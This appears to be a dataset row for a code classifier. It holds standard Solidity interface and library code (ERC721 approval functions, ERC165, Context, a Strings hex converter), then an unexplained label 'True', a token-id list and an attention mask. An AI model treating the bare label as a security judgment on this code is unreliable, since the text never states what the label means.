* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
|
True
|
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6105,
1011,
8909,
4765,
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1024,
10210,
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1013,
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2239,
2480,
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3229,
1013,
2219,
3085,
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1000,
1025,
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1013,
1027,
1027,
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1027,
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1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
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1027,
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1027,
1027,
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15579,
2015,
1027,
1027,
1027,
1027,
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1027,
1027,
1027,
1027,
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1027,
1027,
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1027,
1027,
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1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
102
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
1,
1,
1,
1,
1,
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1,
1,
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1,
1,
1,
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1,
1,
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1,
1,
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1,
1,
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1,
1,
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1,
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1,
1,
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1,
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1,
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1,
1,
1,
1,
1,
1,
1,
1,
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1,
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1,
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1,
1,
1,
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1,
1,
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1,
1,
1,
1,
1,
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1,
1,
1,
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1,
1,
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1,
1,
1,
1,
1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
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1,
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1,
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1,
1,
1,
1,
1,
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1,
1,
1,
1,
1,
1,
1,
1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
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1,
1,
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1,
1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
1,
1,
1,
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1,
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1,
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1,
1,
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1,
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1,
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1,
1,
1,
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1,
1,
1,
1,
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1,
1,
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1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
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